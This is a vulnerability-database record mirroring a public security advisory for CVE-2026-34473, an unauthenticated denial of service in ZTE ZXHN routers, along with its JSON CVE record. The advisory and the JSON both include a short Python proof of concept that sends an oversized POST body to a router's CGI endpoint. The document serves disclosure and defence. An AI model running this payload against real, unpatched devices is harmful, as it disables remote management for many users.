GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GCVE-1988-2026-0370

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)
Summary
-----BEGIN SECURITY ADVISORY----- Advisory ID: MONX-2026-001 CVE ID: CVE-2026-34473 Title: Unauthenticated Denial of Service via Oversized POST Body in ZTE Router CGILua Parser Affected: 17+ ZTE ZXHN router models (~140,000 publicly exposed devices) CVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Date: 2026-05-20 Author: Mina Nageh Salalma (Monx Research) Contact: minanageh379 () gmail com Public URL: https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34473 AFFECTED PRODUCTS ----------------- 17+ ZTE ZXHN router models sharing the CGILua firmware stack. Estimated 140,000+ devices publicly reachable on the Internet at time of research. VULNERABILITY DESCRIPTION -------------------------- The CGILua post.lua parser used in ZTE ZXHN routers does not enforce an upper bound on the body size of application/x-www-form-urlencoded POST requests. An unauthenticated attacker can crash or freeze the router's web management service by sending a single HTTP POST request with an oversized body to any CGI endpoint. No authentication, session cookie, or prior access is required. ROOT CAUSE ---------- Firmware analysis of extracted squashfs images confirms that post.lua reads the entire POST body into memory before parsing. There is no Content-Length check or body-size limiter before the allocation occurs. Oversized payloads cause the LuCI/CGILua process to exhaust memory or fault, taking down the web management interface until the device is power-cycled. PROOF OF CONCEPT ---------------- import requests url = "http://TARGET_IP/cgi-bin/luci"; payload = "a=" + "A" * (256 * 1024) # 256 KB headers = {"Content-Type": "application/x-www-form-urlencoded"} try: r = requests.post(url, data=payload, headers=headers, timeout=15) print(f"HTTP {r.status_code}") except requests.exceptions.Timeout: print("Timeout - DoS successful") except requests.exceptions.ConnectionError: print("Connection dropped - DoS successful") IMPACT ------ An unauthenticated attacker on the LAN or WAN (if management interface is publicly exposed, as is the case for ~140,000 devices) can permanently disable remote management access, forcing a physical reboot to restore access. ISP-deployed devices with no physical access for end users are especially vulnerable. TIMELINE -------- 2024-05: Local validation on hardware. Firmware extraction and root-cause confirmed. 2024-05: Report sent to ZTE PSIRT. 2025-01: Escalated to MITRE after ZTE failed to respond. 2026-03: MITRE assigned CVE-2026-34473. 2026-05-20: Full public disclosure. VENDOR RESPONSE --------------- ZTE PSIRT did not respond to the initial report. MITRE assigned the CVE directly. No patch has been issued. CREDITS ------- Mina Nageh Salalma (Monx Research) https://github.com/minanagehsalalma -----END SECURITY ADVISORY----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
Impacted products
Vendor Product Version CPE status
unknown unknown Affected: unknown
guessed Create a notification for this product.
Credits
m.nageh
Relationships
analysis GCVE-1988-2026-0370 (this record)
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "m.nageh"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nAdvisory ID:    MONX-2026-001\nCVE ID:         CVE-2026-34473\nTitle:          Unauthenticated Denial of Service via Oversized POST Body\nin ZTE Router CGILua Parser\nAffected:       17+ ZTE ZXHN router models (~140,000 publicly exposed\ndevices)\nCVSS Score:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nDate:           2026-05-20\nAuthor:         Mina Nageh Salalma (Monx Research)\nContact:        minanageh379 () gmail com\nPublic URL:\nhttps://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers\nMITRE:          https://www.cve.org/CVERecord?id=CVE-2026-34473\n\n\nAFFECTED PRODUCTS\n-----------------\n17+ ZTE ZXHN router models sharing the CGILua firmware stack.\nEstimated 140,000+ devices publicly reachable on the Internet at time of\nresearch.\n\n\nVULNERABILITY DESCRIPTION\n--------------------------\nThe CGILua post.lua parser used in ZTE ZXHN routers does not enforce an\nupper\nbound on the body size of application/x-www-form-urlencoded POST requests.\nAn unauthenticated attacker can crash or freeze the router\u0027s web management\nservice by sending a single HTTP POST request with an oversized body to any\nCGI endpoint. No authentication, session cookie, or prior access is\nrequired.\n\n\nROOT CAUSE\n----------\nFirmware analysis of extracted squashfs images confirms that post.lua reads\nthe entire POST body into memory before parsing. There is no Content-Length\ncheck or body-size limiter before the allocation occurs. Oversized payloads\ncause the LuCI/CGILua process to exhaust memory or fault, taking down the\nweb management interface until the device is power-cycled.\n\n\nPROOF OF CONCEPT\n----------------\n  import requests\n  url = \"http://TARGET_IP/cgi-bin/luci\";\n  payload = \"a=\" + \"A\" * (256 * 1024)  # 256 KB\n  headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n  try:\n      r = requests.post(url, data=payload, headers=headers, timeout=15)\n      print(f\"HTTP {r.status_code}\")\n  except requests.exceptions.Timeout:\n      print(\"Timeout - DoS successful\")\n  except requests.exceptions.ConnectionError:\n      print(\"Connection dropped - DoS successful\")\n\n\nIMPACT\n------\nAn unauthenticated attacker on the LAN or WAN (if management interface is\npublicly exposed, as is the case for ~140,000 devices) can permanently\ndisable remote management access, forcing a physical reboot to restore\naccess.\nISP-deployed devices with no physical access for end users are especially\nvulnerable.\n\n\nTIMELINE\n--------\n2024-05:   Local validation on hardware. Firmware extraction and root-cause\nconfirmed.\n2024-05:   Report sent to ZTE PSIRT.\n2025-01:   Escalated to MITRE after ZTE failed to respond.\n2026-03:   MITRE assigned CVE-2026-34473.\n2026-05-20: Full public disclosure.\n\n\nVENDOR RESPONSE\n---------------\nZTE PSIRT did not respond to the initial report. MITRE assigned the CVE\ndirectly. No patch has been issued.\n\n\nCREDITS\n-------\nMina Nageh Salalma (Monx Research)\nhttps://github.com/minanagehsalalma\n\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/18"
        },
        {
          "url": "http://TARGET_IP/cgi-bin/luci\""
        },
        {
          "url": "https://github.com/minanagehsalalma"
        },
        {
          "url": "https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34473"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-34473",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0370",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18",
            "automated": true,
            "contentSha256": "0bde7d633167526f5023053fdf061290e62adf3538e7a3b5481b6619dd73efb0",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-20T14:31:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0370"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0370"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.